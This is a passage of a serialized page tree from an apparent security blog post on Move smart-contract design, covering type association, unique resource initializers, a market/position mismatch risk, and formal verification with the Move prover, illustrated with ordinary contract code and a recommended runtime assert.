BurnCapability",{"type":25,"tag":216,"props":10969,"children":10970},{"style":6958},[10971],{"type":31,"value":9751},{"type":25,"tag":216,"props":10973,"children":10974},{"style":7369},[10975],{"type":31,"value":10280},{"type":25,"tag":216,"props":10977,"children":10978},{"style":6958},[10979],{"type":31,"value":9751},{"type":25,"tag":216,"props":10981,"children":10982},{"style":7369},[10983],{"type":31,"value":10848},{"type":25,"tag":216,"props":10985,"children":10986},{"style":6958},[10987],{"type":31,"value":10897},{"type":25,"tag":216,"props":10989,"children":10990},{"class":6916,"line":7551},[10991],{"type":25,"tag":216,"props":10992,"children":10993},{"emptyLinePlaceholder":16},[10994],{"type":31,"value":7636},{"type":25,"tag":216,"props":10996,"children":10997},{"class":6916,"line":7568},[10998],{"type":25,"tag":216,"props":10999,"children":11000},{"style":6921},[11001],{"type":31,"value":10542},{"type":25,"tag":216,"props":11003,"children":11004},{"class":6916,"line":7585},[11005],{"type":25,"tag":216,"props":11006,"children":11007},{"style":6958},[11008],{"type":31,"value":9817},{"type":25,"tag":38,"props":11010,"children":11011},{},[11012,11014,11019],{"type":31,"value":11013},"When creating a ",{"type":25,"tag":82,"props":11015,"children":11017},{"className":11016},[],[11018],{"type":31,"value":10749},{"type":31,"value":11020},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":25,"tag":206,"props":11022,"children":11024},{"className":6909,"code":11023,"language":6908,"meta":7,"style":7},"  public(friend) fun create\u003CCoin0>(\n      lp_store: &signer,\n      // ...\n  ) acquires Reserves {\n      lp::assert_is_lp_store(signer::address_of(lp_store));\n\n      // ...\n\n      move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n        // ...\n      });\n",[11025],{"type":25,"tag":82,"props":11026,"children":11027},{"__ignoreMap":7},[11028,11071,11097,11104,11125,11170,11177,11184,11191,11228,11235],{"type":25,"tag":216,"props":11029,"children":11030},{"class":6916,"line":6917},[11031,11036,11040,11045,11049,11054,11059,11063,11067],{"type":25,"tag":216,"props":11032,"children":11033},{"style":7041},[11034],{"type":31,"value":11035},"  public",{"type":25,"tag":216,"props":11037,"children":11038},{"style":6958},[11039],{"type":31,"value":1844},{"type":25,"tag":216,"props":11041,"children":11042},{"style":6941},[11043],{"type":31,"value":11044},"friend",{"type":25,"tag":216,"props":11046,"children":11047},{"style":6958},[11048],{"type":31,"value":7030},{"type":25,"tag":216,"props":11050,"children":11051},{"style":6941},[11052],{"type":31,"value":11053},"fun",{"type":25,"tag":216,"props":11055,"children":11056},{"style":6941},[11057],{"type":31,"value":11058}," create",{"type":25,"tag":216,"props":11060,"children":11061},{"style":6958},[11062],{"type":31,"value":9751},{"type":25,"tag":216,"props":11064,"children":11065},{"style":7369},[11066],{"type":31,"value":10848},{"type":25,"tag":216,"props":11068,"children":11069},{"style":6958},[11070],{"type":31,"value":10534},{"type":25,"tag":216,"props":11072,"children":11073},{"class":6916,"line":6763},[11074,11079,11083,11088,11093],{"type":25,"tag":216,"props":11075,"children":11076},{"style":6941},[11077],{"type":31,"value":11078},"      lp_store",{"type":25,"tag":216,"props":11080,"children":11081},{"style":6947},[11082],{"type":31,"value":1466},{"type":25,"tag":216,"props":11084,"children":11085},{"style":6947},[11086],{"type":31,"value":11087}," &",{"type":25,"tag":216,"props":11089,"children":11090},{"style":6941},[11091],{"type":31,"value":11092},"signer",{"type":25,"tag":216,"props":11094,"children":11095},{"style":6958},[11096],{"type":31,"value":7459},{"type":25,"tag":216,"props":11098,"children":11099},{"class":6916,"line":6772},[11100],{"type":25,"tag":216,"props":11101,"children":11102},{"style":6921},[11103],{"type":31,"value":10542},{"type":25,"tag":216,"props":11105,"children":11106},{"class":6916,"line":6999},[11107,11112,11116,11121],{"type":25,"tag":216,"props":11108,"children":11109},{"style":6958},[11110],{"type":31,"value":11111},"  ) ",{"type":25,"tag":216,"props":11113,"children":11114},{"style":6941},[11115],{"type":31,"value":10289},{"type":25,"tag":216,"props":11117,"children":11118},{"style":7369},[11119],{"type":31,"value":11120}," Reserves",{"type":25,"tag":216,"props":11122,"children":11123},{"style":6958},[11124],{"type":31,"value":7235},{"type":25,"tag":216,"props":11126,"children":11127},{"class":6916,"line":7104},[11128,11133,11137,11142,11147,11151,11156,11160,11165],{"type":25,"tag":216,"props":11129,"children":11130},{"style":6958},[11131],{"type":31,"value":11132},"      lp",{"type":25,"tag":216,"props":11134,"children":11135},{"style":6947},[11136],{"type":31,"value":7432},{"type":25,"tag":216,"props":11138,"children":11139},{"style":7041},[11140],{"type":31,"value":11141},"assert_is_lp_store",{"type":25,"tag":216,"props":11143,"children":11144},{"style":6958},[11145],{"type":31,"value":11146},"(signer",{"type":25,"tag":216,"props":11148,"children":11149},{"style":6947},[11150],{"type":31,"value":7432},{"type":25,"tag":216,"props":11152,"children":11153},{"style":7041},[11154],{"type":31,"value":11155},"address_of",{"type":25,"tag":216,"props":11157,"children":11158},{"style":6958},[11159],{"type":31,"value":1844},{"type":25,"tag":216,"props":11161,"children":11162},{"style":6941},[11163],{"type":31,"value":11164},"lp_store",{"type":25,"tag":216,"props":11166,"children":11167},{"style":6958},[11168],{"type":31,"value":11169},"));\n",{"type":25,"tag":216,"props":11171,"children":11172},{"class":6916,"line":7210},[11173],{"type":25,"tag":216,"props":11174,"children":11175},{"emptyLinePlaceholder":16},[11176],{"type":31,"value":7636},{"type":25,"tag":216,"props":11178,"children":11179},{"class":6916,"line":7238},[11180],{"type":25,"tag":216,"props":11181,"children":11182},{"style":6921},[11183],{"type":31,"value":10542},{"type":25,"tag":216,"props":11185,"children":11186},{"class":6916,"line":7251},[11187],{"type":25,"tag":216,"props":11188,"children":11189},{"emptyLinePlaceholder":16},[11190],{"type":31,"value":7636},{"type":25,"tag":216,"props":11192,"children":11193},{"class":6916,"line":7269},[11194,11199,11203,11207,11211,11215,11219,11223],{"type":25,"tag":216,"props":11195,"children":11196},{"style":7041},[11197],{"type":31,"value":11198},"      move_to",{"type":25,"tag":216,"props":11200,"children":11201},{"style":6958},[11202],{"type":31,"value":1844},{"type":25,"tag":216,"props":11204,"children":11205},{"style":6941},[11206],{"type":31,"value":11164},{"type":25,"tag":216,"props":11208,"children":11209},{"style":6958},[11210],{"type":31,"value":7020},{"type":25,"tag":216,"props":11212,"children":11213},{"style":7369},[11214],{"type":31,"value":10749},{"type":25,"tag":216,"props":11216,"children":11217},{"style":6958},[11218],{"type":31,"value":9751},{"type":25,"tag":216,"props":11220,"children":11221},{"style":7369},[11222],{"type":31,"value":10848},{"type":25,"tag":216,"props":11224,"children":11225},{"style":6958},[11226],{"type":31,"value":11227},"> {\n",{"type":25,"tag":216,"props":11229,"children":11230},{"class":6916,"line":7290},[11231],{"type":25,"tag":216,"props":11232,"children":11233},{"style":6921},[11234],{"type":31,"value":10120},{"type":25,"tag":216,"props":11236,"children":11237},{"class":6916,"line":7299},[11238],{"type":25,"tag":216,"props":11239,"children":11240},{"style":6958},[11241],{"type":31,"value":11242},"      });\n",{"type":25,"tag":38,"props":11244,"children":11245},{},[11246],{"type":31,"value":11247},"In both these instances, type association only works because we create exactly one instance per type.",{"type":25,"tag":38,"props":11249,"children":11250},{},[11251,11253,11259,11261,11267,11268,11273],{"type":31,"value":11252},"On the other hand, consider if you have a ",{"type":25,"tag":82,"props":11254,"children":11256},{"className":11255},[],[11257],{"type":31,"value":11258},"Position\u003CT>",{"type":31,"value":11260}," and a ",{"type":25,"tag":82,"props":11262,"children":11264},{"className":11263},[],[11265],{"type":31,"value":11266},"Market\u003CT>",{"type":31,"value":5587},{"type":25,"tag":82,"props":11269,"children":11271},{"className":11270},[],[11272],{"type":31,"value":177},{"type":31,"value":11274}," is the coin type.",{"type":25,"tag":206,"props":11276,"children":11278},{"className":6909,"code":11277,"language":6908,"meta":7,"style":7},"    struct Market\u003Cphantom T> {\n        reserves: Coin\u003CT>,\n        // ...\n    }\n\n    struct Position\u003Cphantom T> {\n        amount: u64,\n        // ...\n    }\n",[11279],{"type":25,"tag":82,"props":11280,"children":11281},{"__ignoreMap":7},[11282,11310,11338,11345,11352,11359,11387,11407,11414],{"type":25,"tag":216,"props":11283,"children":11284},{"class":6916,"line":6917},[11285,11289,11294,11298,11302,11306],{"type":25,"tag":216,"props":11286,"children":11287},{"style":6930},[11288],{"type":31,"value":9997},{"type":25,"tag":216,"props":11290,"children":11291},{"style":7369},[11292],{"type":31,"value":11293}," Market",{"type":25,"tag":216,"props":11295,"children":11296},{"style":6958},[11297],{"type":31,"value":9751},{"type":25,"tag":216,"props":11299,"children":11300},{"style":6941},[11301],{"type":31,"value":9756},{"type":25,"tag":216,"props":11303,"children":11304},{"style":7369},[11305],{"type":31,"value":9864},{"type":25,"tag":216,"props":11307,"children":11308},{"style":6958},[11309],{"type":31,"value":11227},{"type":25,"tag":216,"props":11311,"children":11312},{"class":6916,"line":6763},[11313,11318,11322,11326,11330,11334],{"type":25,"tag":216,"props":11314,"children":11315},{"style":6941},[11316],{"type":31,"value":11317},"        reserves",{"type":25,"tag":216,"props":11319,"children":11320},{"style":6947},[11321],{"type":31,"value":1466},{"type":25,"tag":216,"props":11323,"children":11324},{"style":7369},[11325],{"type":31,"value":9746},{"type":25,"tag":216,"props":11327,"children":11328},{"style":6958},[11329],{"type":31,"value":9751},{"type":25,"tag":216,"props":11331,"children":11332},{"style":7369},[11333],{"type":31,"value":177},{"type":25,"tag":216,"props":11335,"children":11336},{"style":6958},[11337],{"type":31,"value":10083},{"type":25,"tag":216,"props":11339,"children":11340},{"class":6916,"line":6772},[11341],{"type":25,"tag":216,"props":11342,"children":11343},{"style":6921},[11344],{"type":31,"value":10120},{"type":25,"tag":216,"props":11346,"children":11347},{"class":6916,"line":6999},[11348],{"type":25,"tag":216,"props":11349,"children":11350},{"style":6958},[11351],{"type":31,"value":7305},{"type":25,"tag":216,"props":11353,"children":11354},{"class":6916,"line":7104},[11355],{"type":25,"tag":216,"props":11356,"children":11357},{"emptyLinePlaceholder":16},[11358],{"type":31,"value":7636},{"type":25,"tag":216,"props":11360,"children":11361},{"class":6916,"line":7210},[11362,11366,11371,11375,11379,11383],{"type":25,"tag":216,"props":11363,"children":11364},{"style":6930},[11365],{"type":31,"value":9997},{"type":25,"tag":216,"props":11367,"children":11368},{"style":7369},[11369],{"type":31,"value":11370}," Position",{"type":25,"tag":216,"props":11372,"children":11373},{"style":6958},[11374],{"type":31,"value":9751},{"type":25,"tag":216,"props":11376,"children":11377},{"style":6941},[11378],{"type":31,"value":9756},{"type":25,"tag":216,"props":11380,"children":11381},{"style":7369},[11382],{"type":31,"value":9864},{"type":25,"tag":216,"props":11384,"children":11385},{"style":6958},[11386],{"type":31,"value":11227},{"type":25,"tag":216,"props":11388,"children":11389},{"class":6916,"line":7238},[11390,11395,11399,11403],{"type":25,"tag":216,"props":11391,"children":11392},{"style":6941},[11393],{"type":31,"value":11394},"        amount",{"type":25,"tag":216,"props":11396,"children":11397},{"style":6947},[11398],{"type":31,"value":1466},{"type":25,"tag":216,"props":11400,"children":11401},{"style":7369},[11402],{"type":31,"value":9805},{"type":25,"tag":216,"props":11404,"children":11405},{"style":6958},[11406],{"type":31,"value":7459},{"type":25,"tag":216,"props":11408,"children":11409},{"class":6916,"line":7251},[11410],{"type":25,"tag":216,"props":11411,"children":11412},{"style":6921},[11413],{"type":31,"value":10120},{"type":25,"tag":216,"props":11415,"children":11416},{"class":6916,"line":7269},[11417],{"type":25,"tag":216,"props":11418,"children":11419},{"style":6958},[11420],{"type":31,"value":7305},{"type":25,"tag":38,"props":11422,"children":11423},{},[11424,11426,11431,11433,11438],{"type":31,"value":11425},"If ",{"type":25,"tag":82,"props":11427,"children":11429},{"className":11428},[],[11430],{"type":31,"value":11266},{"type":31,"value":11432}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":25,"tag":82,"props":11434,"children":11436},{"className":11435},[],[11437],{"type":31,"value":177},{"type":31,"value":11439}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":25,"tag":38,"props":11441,"children":11442},{},[11443],{"type":31,"value":11444},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":25,"tag":206,"props":11446,"children":11448},{"className":6909,"code":11447,"language":6908,"meta":7,"style":7},"    /// Get the price of the token per lamport.\n    public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n        let oracle = borrow_global_mut\u003COracle>(@oracle);\n        let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n            &mut oracle.prices,\n            type_info,\n            decimal::one()\n        );\n        *price\n    }\n",[11449],{"type":25,"tag":82,"props":11450,"children":11451},{"__ignoreMap":7},[11452,11460,11522,11571,11623,11648,11660,11682,11690,11703],{"type":25,"tag":216,"props":11453,"children":11454},{"class":6916,"line":6917},[11455],{"type":25,"tag":216,"props":11456,"children":11457},{"style":6921},[11458],{"type":31,"value":11459},"    /// Get the price of the token per lamport.\n",{"type":25,"tag":216,"props":11461,"children":11462},{"class":6916,"line":6763},[11463,11468,11472,11477,11481,11486,11490,11495,11499,11503,11508,11513,11518],{"type":25,"tag":216,"props":11464,"children":11465},{"style":6941},[11466],{"type":31,"value":11467},"    public",{"type":25,"tag":216,"props":11469,"children":11470},{"style":6941},[11471],{"type":31,"value":10152},{"type":25,"tag":216,"props":11473,"children":11474},{"style":7041},[11475],{"type":31,"value":11476}," get_price",{"type":25,"tag":216,"props":11478,"children":11479},{"style":6958},[11480],{"type":31,"value":1844},{"type":25,"tag":216,"props":11482,"children":11483},{"style":6941},[11484],{"type":31,"value":11485},"type_info",{"type":25,"tag":216,"props":11487,"children":11488},{"style":6947},[11489],{"type":31,"value":1466},{"type":25,"tag":216,"props":11491,"children":11492},{"style":7369},[11493],{"type":31,"value":11494}," TypeInfo",{"type":25,"tag":216,"props":11496,"children":11497},{"style":6958},[11498],{"type":31,"value":1882},{"type":25,"tag":216,"props":11500,"children":11501},{"style":6947},[11502],{"type":31,"value":1466},{"type":25,"tag":216,"props":11504,"children":11505},{"style":7369},[11506],{"type":31,"value":11507}," Decimal",{"type":25,"tag":216,"props":11509,"children":11510},{"style":6941},[11511],{"type":31,"value":11512}," acquires",{"type":25,"tag":216,"props":11514,"children":11515},{"style":7369},[11516],{"type":31,"value":11517}," Oracle",{"type":25,"tag":216,"props":11519,"children":11520},{"style":6958},[11521],{"type":31,"value":7235},{"type":25,"tag":216,"props":11523,"children":11524},{"class":6916,"line":6772},[11525,11529,11534,11538,11543,11547,11552,11557,11562,11567],{"type":25,"tag":216,"props":11526,"children":11527},{"style":6930},[11528],{"type":31,"value":7005},{"type":25,"tag":216,"props":11530,"children":11531},{"style":6941},[11532],{"type":31,"value":11533}," oracle",{"type":25,"tag":216,"props":11535,"children":11536},{"style":6947},[11537],{"type":31,"value":6950},{"type":25,"tag":216,"props":11539,"children":11540},{"style":6941},[11541],{"type":31,"value":11542}," borrow_global_mut",{"type":25,"tag":216,"props":11544,"children":11545},{"style":6958},[11546],{"type":31,"value":9751},{"type":25,"tag":216,"props":11548,"children":11549},{"style":7369},[11550],{"type":31,"value":11551},"Oracle",{"type":25,"tag":216,"props":11553,"children":11554},{"style":6958},[11555],{"type":31,"value":11556},">(",{"type":25,"tag":216,"props":11558,"children":11559},{"style":6947},[11560],{"type":31,"value":11561},"@",{"type":25,"tag":216,"props":11563,"children":11564},{"style":6941},[11565],{"type":31,"value":11566},"oracle",{"type":25,"tag":216,"props":11568,"children":11569},{"style":6958},[11570],{"type":31,"value":7791},{"type":25,"tag":216,"props":11572,"children":11573},{"class":6916,"line":6999},[11574,11578,11583,11587,11592,11596,11601,11605,11610,11614,11619],{"type":25,"tag":216,"props":11575,"children":11576},{"style":6930},[11577],{"type":31,"value":7005},{"type":25,"tag":216,"props":11579,"children":11580},{"style":6941},[11581],{"type":31,"value":11582}," price",{"type":25,"tag":216,"props":11584,"children":11585},{"style":6947},[11586],{"type":31,"value":6950},{"type":25,"tag":216,"props":11588,"children":11589},{"style":6958},[11590],{"type":31,"value":11591}," table",{"type":25,"tag":216,"props":11593,"children":11594},{"style":6947},[11595],{"type":31,"value":7432},{"type":25,"tag":216,"props":11597,"children":11598},{"style":6941},[11599],{"type":31,"value":11600},"borrow_mut_with_default",{"type":25,"tag":216,"props":11602,"children":11603},{"style":6958},[11604],{"type":31,"value":9751},{"type":25,"tag":216,"props":11606,"children":11607},{"style":7369},[11608],{"type":31,"value":11609},"TypeInfo",{"type":25,"tag":216,"props":11611,"children":11612},{"style":6958},[11613],{"type":31,"value":7020},{"type":25,"tag":216,"props":11615,"children":11616},{"style":7369},[11617],{"type":31,"value":11618},"Decimal",{"type":25,"tag":216,"props":11620,"children":11621},{"style":6958},[11622],{"type":31,"value":10534},{"type":25,"tag":216,"props":11624,"children":11625},{"class":6916,"line":7104},[11626,11631,11635,11639,11643],{"type":25,"tag":216,"props":11627,"children":11628},{"style":6947},[11629],{"type":31,"value":11630},"            &",{"type":25,"tag":216,"props":11632,"children":11633},{"style":6930},[11634],{"type":31,"value":7685},{"type":25,"tag":216,"props":11636,"children":11637},{"style":6941},[11638],{"type":31,"value":11533},{"type":25,"tag":216,"props":11640,"children":11641},{"style":6947},[11642],{"type":31,"value":179},{"type":25,"tag":216,"props":11644,"children":11645},{"style":6958},[11646],{"type":31,"value":11647},"prices,\n",{"type":25,"tag":216,"props":11649,"children":11650},{"class":6916,"line":7210},[11651,11656],{"type":25,"tag":216,"props":11652,"children":11653},{"style":6941},[11654],{"type":31,"value":11655},"            type_info",{"type":25,"tag":216,"props":11657,"children":11658},{"style":6958},[11659],{"type":31,"value":7459},{"type":25,"tag":216,"props":11661,"children":11662},{"class":6916,"line":7238},[11663,11668,11672,11677],{"type":25,"tag":216,"props":11664,"children":11665},{"style":6958},[11666],{"type":31,"value":11667},"            decimal",{"type":25,"tag":216,"props":11669,"children":11670},{"style":6947},[11671],{"type":31,"value":7432},{"type":25,"tag":216,"props":11673,"children":11674},{"style":7041},[11675],{"type":31,"value":11676},"one",{"type":25,"tag":216,"props":11678,"children":11679},{"style":6958},[11680],{"type":31,"value":11681},"()\n",{"type":25,"tag":216,"props":11683,"children":11684},{"class":6916,"line":7251},[11685],{"type":25,"tag":216,"props":11686,"children":11687},{"style":6958},[11688],{"type":31,"value":11689},"        );\n",{"type":25,"tag":216,"props":11691,"children":11692},{"class":6916,"line":7269},[11693,11698],{"type":25,"tag":216,"props":11694,"children":11695},{"style":6947},[11696],{"type":31,"value":11697},"        *",{"type":25,"tag":216,"props":11699,"children":11700},{"style":6941},[11701],{"type":31,"value":11702},"price\n",{"type":25,"tag":216,"props":11704,"children":11705},{"class":6916,"line":7290},[11706],{"type":25,"tag":216,"props":11707,"children":11708},{"style":6958},[11709],{"type":31,"value":7305},{"type":25,"tag":38,"props":11711,"children":11712},{},[11713,11715,11720],{"type":31,"value":11714},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":25,"tag":64,"props":11716,"children":11717},{},[11718],{"type":31,"value":11719},"instance",{"type":31,"value":11721}," of another resource (which is possible in Diem style move).",{"type":25,"tag":38,"props":11723,"children":11724},{},[11725],{"type":31,"value":11726},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":25,"tag":6705,"props":11728,"children":11729},{},[11730,11735],{"type":25,"tag":2037,"props":11731,"children":11732},{},[11733],{"type":31,"value":11734},"Have unique initializers for your resources",{"type":25,"tag":2037,"props":11736,"children":11737},{},[11738],{"type":31,"value":11739},"Associate resources with instances directly",{"type":25,"tag":26,"props":11741,"children":11743},{"id":11742},"formal-verification",[11744],{"type":31,"value":11745},"Formal Verification",{"type":25,"tag":38,"props":11747,"children":11748},{},[11749],{"type":31,"value":11750},"Formal verification is another exciting feature.",{"type":25,"tag":38,"props":11752,"children":11753},{},[11754],{"type":31,"value":11755},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":25,"tag":38,"props":11757,"children":11758},{},[11759,11761,11766],{"type":31,"value":11760},"However, this isn't a silver bullet. The key is figuring out ",{"type":25,"tag":64,"props":11762,"children":11763},{},[11764],{"type":31,"value":11765},"what",{"type":31,"value":11767}," to prove.",{"type":25,"tag":38,"props":11769,"children":11770},{},[11771,11773,11780],{"type":31,"value":11772},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":25,"tag":162,"props":11774,"children":11777},{"href":11775,"rel":11776},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[166],[11778],{"type":31,"value":11779},"Solana AMM rounding issue",{"type":31,"value":11781}," we reported.",{"type":25,"tag":38,"props":11783,"children":11784},{},[11785],{"type":31,"value":11786},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":25,"tag":206,"props":11788,"children":11790},{"className":6909,"code":11789,"language":6908,"meta":7,"style":7},"  let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n  assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[11791],{"type":25,"tag":82,"props":11792,"children":11793},{"__ignoreMap":7},[11794,11855],{"type":25,"tag":216,"props":11795,"children":11796},{"class":6916,"line":6917},[11797,11802,11807,11811,11816,11820,11825,11829,11833,11838,11842,11846,11851],{"type":25,"tag":216,"props":11798,"children":11799},{"style":6930},[11800],{"type":31,"value":11801},"  let",{"type":25,"tag":216,"props":11803,"children":11804},{"style":6941},[11805],{"type":31,"value":11806}," cmp",{"type":25,"tag":216,"props":11808,"children":11809},{"style":6947},[11810],{"type":31,"value":6950},{"type":25,"tag":216,"props":11812,"children":11813},{"style":6958},[11814],{"type":31,"value":11815}," u256",{"type":25,"tag":216,"props":11817,"children":11818},{"style":6947},[11819],{"type":31,"value":7432},{"type":25,"tag":216,"props":11821,"children":11822},{"style":7041},[11823],{"type":31,"value":11824},"compare",{"type":25,"tag":216,"props":11826,"children":11827},{"style":6958},[11828],{"type":31,"value":1844},{"type":25,"tag":216,"props":11830,"children":11831},{"style":6947},[11832],{"type":31,"value":7053},{"type":25,"tag":216,"props":11834,"children":11835},{"style":6941},[11836],{"type":31,"value":11837},"lp_value_after_swap_and_fee",{"type":25,"tag":216,"props":11839,"children":11840},{"style":6958},[11841],{"type":31,"value":7020},{"type":25,"tag":216,"props":11843,"children":11844},{"style":6947},[11845],{"type":31,"value":7053},{"type":25,"tag":216,"props":11847,"children":11848},{"style":6941},[11849],{"type":31,"value":11850},"lp_value_before_swap_u256",{"type":25,"tag":216,"props":11852,"children":11853},{"style":6958},[11854],{"type":31,"value":7791},{"type":25,"tag":216,"props":11856,"children":11857},{"class":6916,"line":6763},[11858,11863,11867,11872,11876,11881],{"type":25,"tag":216,"props":11859,"children":11860},{"style":7041},[11861],{"type":31,"value":11862},"  assert!",{"type":25,"tag":216,"props":11864,"children":11865},{"style":6958},[11866],{"type":31,"value":1844},{"type":25,"tag":216,"props":11868,"children":11869},{"style":6941},[11870],{"type":31,"value":11871},"cmp",{"type":25,"tag":216,"props":11873,"children":11874},{"style":6947},[11875],{"type":31,"value":7226},{"type":25,"tag":216,"props":11877,"children":11878},{"style":6983},[11879],{"type":31,"value":11880}," 2",{"type":25,"tag":216,"props":11882,"children":11883},{"style":6958},[11884],{"type":31,"value":11885},", ERR_INCORRECT_SWAP);\n",{"type":25,"tag":38,"props":11887,"children":11888},{},[11889,11891,11896],{"type":31,"value":11890},"The move prover really shines when we're proving relationships ",{"type":25,"tag":64,"props":11892,"children":11893},{},[11894],{"type":31,"value":11895},"between",{"type":31,"value":11897}," functions.",{"type":25,"tag":38,"props":11899,"children":11900},{},[11901,11903,11909],{"type":31,"value":11902},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":25,"tag":82,"props":11904,"children":11906},{"className":11905},[],[11907],{"type":31,"value":11908},"no_free_money_theorem",{"type":31,"value":11910}," in the move repository.",{"type":25,"tag":206,"props":11912,"children":11914},{"className":6909,"code":11913,"language":6908,"meta":7,"style":7},"  // #[test] // TODO: cannot specify the test-only functions\n  fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n      let share = add_liquidity(coin1_in, coin2_in);\n      remove_liquidity(share)\n  }\n  spec no_free_money_theorem {\n      pragma verify=false;\n      ensures result_1 \u003C= coin1_in;\n      ensures result_2 \u003C= coin2_in;\n  }\n",[11915],{"type":25,"tag":82,"props":11916,"children":11917},{"__ignoreMap":7},[11918,11926,12014,12056,12077,12084,12100,12126,12153,12178],{"type":25,"tag":216,"props":11919,"children":11920},{"class":6916,"line":6917},[11921],{"type":25,"tag":216,"props":11922,"children":11923},{"style":6921},[11924],{"type":31,"value":11925},"  // #[test] // TODO: cannot specify the test-only functions\n",{"type":25,"tag":216,"props":11927,"children":11928},{"class":6916,"line":6763},[11929,11933,11938,11942,11947,11951,11955,11959,11964,11968,11972,11976,11980,11984,11989,11993,11997,12001,12005,12010],{"type":25,"tag":216,"props":11930,"children":11931},{"style":6941},[11932],{"type":31,"value":10515},{"type":25,"tag":216,"props":11934,"children":11935},{"style":7041},[11936],{"type":31,"value":11937}," no_free_money_theorem",{"type":25,"tag":216,"props":11939,"children":11940},{"style":6958},[11941],{"type":31,"value":1844},{"type":25,"tag":216,"props":11943,"children":11944},{"style":6941},[11945],{"type":31,"value":11946},"coin1_in",{"type":25,"tag":216,"props":11948,"children":11949},{"style":6947},[11950],{"type":31,"value":1466},{"type":25,"tag":216,"props":11952,"children":11953},{"style":7369},[11954],{"type":31,"value":9805},{"type":25,"tag":216,"props":11956,"children":11957},{"style":6958},[11958],{"type":31,"value":7020},{"type":25,"tag":216,"props":11960,"children":11961},{"style":6941},[11962],{"type":31,"value":11963},"coin2_in",{"type":25,"tag":216,"props":11965,"children":11966},{"style":6947},[11967],{"type":31,"value":1466},{"type":25,"tag":216,"props":11969,"children":11970},{"style":7369},[11971],{"type":31,"value":9805},{"type":25,"tag":216,"props":11973,"children":11974},{"style":6958},[11975],{"type":31,"value":1882},{"type":25,"tag":216,"props":11977,"children":11978},{"style":6947},[11979],{"type":31,"value":1466},{"type":25,"tag":216,"props":11981,"children":11982},{"style":6958},[11983],{"type":31,"value":7010},{"type":25,"tag":216,"props":11985,"children":11986},{"style":7369},[11987],{"type":31,"value":11988},"u64",{"type":25,"tag":216,"props":11990,"children":11991},{"style":6958},[11992],{"type":31,"value":7020},{"type":25,"tag":216,"props":11994,"children":11995},{"style":7369},[11996],{"type":31,"value":11988},{"type":25,"tag":216,"props":11998,"children":11999},{"style":6958},[12000],{"type":31,"value":7030},{"type":25,"tag":216,"props":12002,"children":12003},{"style":6941},[12004],{"type":31,"value":10289},{"type":25,"tag":216,"props":12006,"children":12007},{"style":7369},[12008],{"type":31,"value":12009}," Pool",{"type":25,"tag":216,"props":12011,"children":12012},{"style":6958},[12013],{"type":31,"value":7235},{"type":25,"tag":216,"props":12015,"children":12016},{"class":6916,"line":6772},[12017,12022,12027,12031,12036,12040,12044,12048,12052],{"type":25,"tag":216,"props":12018,"children":12019},{"style":6930},[12020],{"type":31,"value":12021},"      let",{"type":25,"tag":216,"props":12023,"children":12024},{"style":6941},[12025],{"type":31,"value":12026}," share",{"type":25,"tag":216,"props":12028,"children":12029},{"style":6947},[12030],{"type":31,"value":6950},{"type":25,"tag":216,"props":12032,"children":12033},{"style":7041},[12034],{"type":31,"value":12035}," add_liquidity",{"type":25,"tag":216,"props":12037,"children":12038},{"style":6958},[12039],{"type":31,"value":1844},{"type":25,"tag":216,"props":12041,"children":12042},{"style":6941},[12043],{"type":31,"value":11946},{"type":25,"tag":216,"props":12045,"children":12046},{"style":6958},[12047],{"type":31,"value":7020},{"type":25,"tag":216,"props":12049,"children":12050},{"style":6941},[12051],{"type":31,"value":11963},{"type":25,"tag":216,"props":12053,"children":12054},{"style":6958},[12055],{"type":31,"value":7791},{"type":25,"tag":216,"props":12057,"children":12058},{"class":6916,"line":6999},[12059,12064,12068,12073],{"type":25,"tag":216,"props":12060,"children":12061},{"style":7041},[12062],{"type":31,"value":12063},"      remove_liquidity",{"type":25,"tag":216,"props":12065,"children":12066},{"style":6958},[12067],{"type":31,"value":1844},{"type":25,"tag":216,"props":12069,"children":12070},{"style":6941},[12071],{"type":31,"value":12072},"share",{"type":25,"tag":216,"props":12074,"children":12075},{"style":6958},[12076],{"type":31,"value":7101},{"type":25,"tag":216,"props":12078,"children":12079},{"class":6916,"line":7104},[12080],{"type":25,"tag":216,"props":12081,"children":12082},{"style":6958},[12083],{"type":31,"value":9817},{"type":25,"tag":216,"props":12085,"children":12086},{"class":6916,"line":7210},[12087,12092,12096],{"type":25,"tag":216,"props":12088,"children":12089},{"style":6941},[12090],{"type":31,"value":12091},"  spec",{"type":25,"tag":216,"props":12093,"children":12094},{"style":6941},[12095],{"type":31,"value":11937},{"type":25,"tag":216,"props":12097,"children":12098},{"style":6958},[12099],{"type":31,"value":7235},{"type":25,"tag":216,"props":12101,"children":12102},{"class":6916,"line":7238},[12103,12108,12113,12117,12122],{"type":25,"tag":216,"props":12104,"children":12105},{"style":6941},[12106],{"type":31,"value":12107},"      pragma",{"type":25,"tag":216,"props":12109,"children":12110},{"style":6941},[12111],{"type":31,"value":12112}," 